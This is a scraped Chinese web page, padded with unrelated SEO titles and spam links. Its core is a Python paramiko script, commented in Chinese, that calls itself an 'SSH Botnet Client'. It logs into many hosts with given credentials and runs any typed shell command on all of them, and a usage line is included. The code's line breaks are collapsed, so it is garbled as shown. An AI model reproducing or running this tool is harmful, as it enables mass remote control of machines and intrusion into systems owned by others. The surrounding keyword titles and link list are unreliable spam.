当前位置: 首页 > news >正文

湛江做网站制作在哪里制作网页

湛江做网站制作,在哪里制作网页,网络设计毕业设计,竞价托管选择微竞价import argparse import paramiko# 定义一个名为Client的类,用于表示SSH客户端相关操作 class Client:# 类的初始化方法,接收主机地址、用户名和密码作为参数def __init__(self, host, user, password):self.host hostself.user userself.password pa…
import argparse
import paramiko# 定义一个名为Client的类,用于表示SSH客户端相关操作
class Client:# 类的初始化方法,接收主机地址、用户名和密码作为参数def __init__(self, host, user, password):self.host = hostself.user = userself.password = password# 创建一个paramiko的SSHClient实例,用于后续的SSH连接操作self.client = paramiko.SSHClient()# 设置自动添加主机密钥策略,避免出现未知主机密钥时连接失败self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 调用连接方法,尝试建立SSH连接self.connect()# 定义连接方法,用于建立到指定主机的SSH连接def connect(self):try:# 使用提供的主机、用户名和密码进行SSH连接self.client.connect(self.host, username=self.user, password=self.password)print(f"[+] Connected to {self.host}")except Exception as e:print(f"[-] Error connecting to {self.host}: {e}")# 用于在已连接的SSH会话上执行命令,并返回命令的输出结果def send_command(self, cmd):# 在SSH会话上执行命令,获取标准输入、标准输出和标准错误输出流stdin, stdout, stderr = self.client.exec_command(cmd)# 读取标准输出内容,并使用utf-8编码将字节数据转换为字符串output = stdout.read().decode('utf-8')# 读取标准错误输出内容,并进行同样的编码转换error = stderr.read().decode('utf-8')if error:print(f"[-] Error executing command on {self.host}: {error}")return output# 类方法,用于向所有已添加到botNet列表中的客户端发送相同命令,并收集结果@classmethoddef botnet_command(cls, command):results = []# 遍历botNet列表中的每个客户端实例for client in cls.botNet:# 在每个客户端上执行命令,并获取输出结果output = client.send_command(command)# 将客户端的主机地址和对应的命令输出结果作为元组添加到results列表中results.append((client.host, output))return results# 类方法,用于向botNet列表中添加一个新的客户端实例@classmethoddef add_client(cls, host, user, password):client = cls(host, user, password)cls.botNet.append(client)# 类方法,用于关闭所有已添加到botNet列表中的客户端的SSH连接@classmethoddef close_all_connections(cls):for client in cls.botNet:client.client.close()print(f"[+] Connection to {client.host} closed")# 初始化一个空的botNet列表,用于存储所有的客户端实例
Client.botNet = []def main():# 创建一个命令行参数解析器对象,用于解析用户输入的命令行参数parser = argparse.ArgumentParser(description='SSH Botnet Client')# 添加一个名为--host的命令行参数,可接收多个值,用于指定要连接的主机地址parser.add_argument('--host', nargs='+', help='Host(s) to connect to')# 添加一个名为--user的命令行参数,可接收多个值,用于指定SSH连接的用户名parser.add_argument('--user', nargs='+', help='Username(s) for SSH connection')# 添加一个名为--password的命令行参数,可接收多个值,用于指定SSH连接的密码parser.add_argument('--password', nargs='+', help='Password(s) for SSH connection')args = parser.parse_args()# 检查是否缺少必要的命令行参数,如果缺少则报错if not args.host or not args.user or not args.password:parser.error('Missing required arguments')# 检查主机地址、用户名和密码的数量是否一致,如果不一致则报错if len(args.host)!= len(args.user) or len(args.host)!= len(args.password):parser.error('The number of hosts, users, and passwords must be the same')# 通过循环,为每个主机地址、用户名和密码的组合创建一个Client实例,并添加到botNet列表中for host, user, password in zip(args.host, args.user, args.password):Client.add_client(host, user, password)print("Connected to all hosts. Enter 'exit' to quit.")while True:command = input("Enter command: ")if command.lower() == 'exit':breakresults = Client.botnet_command(command)for host, output in results:print(f"Output from {host}:")print(output)# 关闭所有已添加的客户端的SSH连接Client.close_all_connections()if __name__ == '__main__':main()
运行方法:
第一种:终端控制:python your_script.py --host IP1 IP2 --user user1 user2 --password password1 password2

输出结果:


 

http://www.yayakq.cn/news/28611/

相关文章:

  • 企业彩铃网站源码教做世界美食的网站
  • 网站header设计怎么才能百度到自己的网站
  • 管家婆免费资料网站网站模板套用湖南岚鸿
  • 肇庆市建设企业网站怎么样电商网站建设可行性分析
  • 知名网站开发公司wordpress页面和自定义链接地址
  • 网站开发商换了如何让网站火起来
  • 域名有了怎么建网站西安市建设工程信息网招投标业务平台
  • 网站在布局wordpress评论模板
  • 有哪些网站可以做设计比赛国内网页设计公司前十名
  • .net网站费用邢台瑞光网络科技有限公司
  • 做直播券的网站有多少godaddy上传网站
  • 专业建设网站的企业计算机入门基础知识
  • 绛帐做企业网站网站中的给我留言怎么做
  • 网站设计师发展前景唐山网站建设方案优化
  • 石碣仿做网站建设银行购物网站
  • 山东济宁网站建设最好的一站式家装公司
  • 商城建设网站公司自学网站搭建
  • 中小企业网站建设需要注意什么桂林楼盘网
  • 网站首页包含的内容官方网站建设成果
  • 汽车4s店网站模板上海优刻得官网
  • 怎么做网站前端沈阳建信建设工程有限公司位置
  • 做管理信息的网站如何制作一般企业网站
  • 网站转化下降原因四川设计公司
  • 如何在局域网做网站互联网网络推广
  • 做静态网站的参考文献电子商务网站解决方案
  • 网站静态页面生成建设网站需要
  • 天津展示型网站建设外包seo研究中心官网
  • 赤峰网站建设哪家好wordpress ssl 插件
  • 网站地址和网页地址辽宁建设工程信息网变更
  • 公司外宣网站wordpress 后台 谷歌字体